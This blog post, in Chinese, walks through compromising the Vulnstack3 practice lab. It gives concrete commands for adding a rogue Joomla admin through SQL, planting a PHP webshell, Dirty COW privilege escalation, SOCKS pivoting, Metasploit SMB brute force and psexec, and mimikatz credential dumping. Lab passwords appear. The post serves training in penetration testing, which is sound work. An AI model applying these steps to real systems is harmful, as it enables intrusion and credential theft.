apsry

去留无意，宠辱不惊

0%

红日靶场3-vulnstack3

发表于 分类于

红日靶场3 vulnstack3

前言：

这里主要是为了练习渗透测试流程，所以会有很多多此一举的事情

环境搭建

此图仅供参考，IP地址有误

img

首先添加一张网卡（仅主机模式），192.168.93.0/24 网段

web-centos

进去第一条命令 service network restart 重启网络服务

网卡1：NAT模式 192.168.43.132

网卡2：仅主机 192.168.93.100

web1-ubuntu

仅主机模式：192.168.93.120

PC

仅主机：192.168.93.30

win 2008

仅主机：192.168.93.20

win 2012

仅主机：192.168.93.10

kali

IP：192.168.43.130

外网

扫描外网IP端口

开放了80 22 3306端口

image-20220320191044921

扫目录

image-20220320190257565

http://192.168.43.132/administrator/index.php

尝试爆破无果

image-20220320191241439

找joomla的历史漏洞

一些信息

1.php phpinfo

image-20220320190326608

数据库添加账号

http://192.168.43.132/configuration.php~

可以看到mysql的账号密码

image-20220320190404753

是一个joomla的web页面

3306端口开放，尝试连数据库

image-20220320190826002

翻数据库，密码是加密的

image-20220320191013146

image-20220320190919058

想到可以自己插加密的密码去修改密码，找joomla的修改密码方法，直接加一条数据

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

1
2
3
4
5
6
7
INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
# 这里就是添加了一个admin2的用户，密码为secret

image-20220320191414650

传php木马

image-20220320192118939

改他默认模板对应的php文件加入一句话木马

image-20220320192416509

image-20220320193550569

根据扫描的内容，猜测路径是

http://192.168.43.132/templates/protostar/index.php

image-20220320192950211

image-20220320193352694

image-20220320193525431

绕dis_func

明显ban了函数

image-20220320193632504

image-20220320193721979

用蚁剑自带的插件绕过

image-20220320194012392

执行命令，明显不对劲，到了93的段

image-20220320194118827

image-20220320195152245

Centos是Ubuntu的反向代理，用的是Nginx协议

这边在/tmp/mysql看到了账号密码

image-20220320195052282

我们尝试看看能不能登上去

提权

可以看到成功了，尝试提权

image-20220320195541797

最常见的就是脏牛提权

脏牛漏洞 （CVE-2016-5195）对CentOS 进行提权

EXP下载：https://github.com/FireFart/dirtycow

将代码上传到一个可以执行的文件夹内

在这里插入图片描述

对dirty.c进行编译

1
gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件，并设置密码

1
./dirty my-new-password

image-20220320200257005

1
2
su firefart
mv /tmp/passwd.bak /etc/passwd

image-20220320200432210

NPS

这边nps搭个socks5代理出来

NPS配置https://blog.csdn.net/qq_40732354/article/details/99585884

下载 nps解压

修改配置表

1
2
3
cd ./nps/conf 

vim nps.conf

防止端口冲突

image-20220320205053060

修改密码

image-20220320205117901

image-20220320205233631

输入修改的账号密码

image-20220320205254980

点击客户端，新建一个客户端

image-20220320205607534

image-20220320205646883

新增socks5代理

image-20220320210018753

然后goby使用socks代理

image-20220320210646264

用个内网网址去测试，可以看到是成功的

image-20220320211436850

可以看到端口扫描也是可以的

image-20220320211601704

image-20220320211635289

所以以后可以通过这种方法去用goby进行扫描

profile

我们也可以用socks代理通过profile

image-20220320220400400

加规则

image-20220320220441422

image-20220320215815647

image-20220320220155290

MSF

for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

image-20220320224956642

弹个shell

image-20220321170203892

image-20220321170239022

添加路由

1
2
run get_local_subnets
run autoroute -s 192.168.93.0/255.255.255.0

image-20220321171235805

image-20220321174105738

爆破

爆破密码，字典不行爆不出，看了别人的添加进去0.0

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run

image-20220321175907034

psexec

然后psexec拿win机的shell

1
2
3
4
5
use exploit/windows/smb/psexec   
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD      #假装爆破成功
set payload windows/x64/meterpreter/bind_tcp   #目标机器反向连不到这边run

mimikatz(kiwi)

mimikatz抓密码

image-20220321180901345

image-20220321180955534

尝试爆破2008无果，尝试抓密码

2008共享服务不允许远程访问

image-20220321182914686

用wmiexec 执行命令，搜集信息，wmiexec.py 下载地址 https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

chisel(socks5代理)

这边起个socks5代理

https://blog.csdn.net/weixin_43093631/article/details/118273506

image-20220321185858839

然后修改proxychain

image-20220321190959090

wmiexec

proxychains python3 qaq.py -debug 'administrator:123qwe!ASD@192.168.93.20'

image-20220321201024586

smbclient

https://blog.csdn.net/dulingwen/article/details/90378082

1
2
3
proxychains smbclient //192.168.93.20/C$ -U administrator 

Enter: 123qwe!ASD

image-20220321192956910

上传mimikatz

image-20220321192813128

抓20的密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

得到域控的密码192.168.93.10

image-20220321202446817

administrator/zxcASDqw123!!

操作同理

感觉和第二台一样用zerologon也行0.0